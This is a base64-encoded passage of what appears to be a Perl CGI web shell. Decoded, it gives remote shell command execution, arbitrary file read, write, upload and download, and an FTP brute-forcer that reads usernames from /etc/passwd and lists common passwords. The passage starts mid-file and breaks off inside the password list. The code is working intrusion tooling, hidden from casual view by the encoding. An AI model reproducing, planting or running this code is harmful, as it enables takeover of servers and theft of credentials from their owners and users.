fQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCg0KCX0NCglteSAkcmVzdWx0PSIiOw0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCg0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCg0KCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsNCgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7DQoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZpbGUgT3Blbg0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIEZpbGVPcGVuKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJbXkgJGJpbmFyeSA9IHNoaWZ0Ow0KCW15ICRyZXN1bHQgPSAiIjsNCglteSAkbiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJaWYob3BlbihGSUxFLCRmaWxlKSl7DQoJCQlpZigkYmluYXJ5KXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQl9DQoJCQl3aGlsZSAoKCRuID0gcmVhZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgew0KCQkJCSRyZXN1bHQgLj0gJGRhdGE7DQoJCQl9DQoJCQljbG9zZShGSUxFKTsNCgkJfQ0KCX1lbHNlDQoJew0KCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2R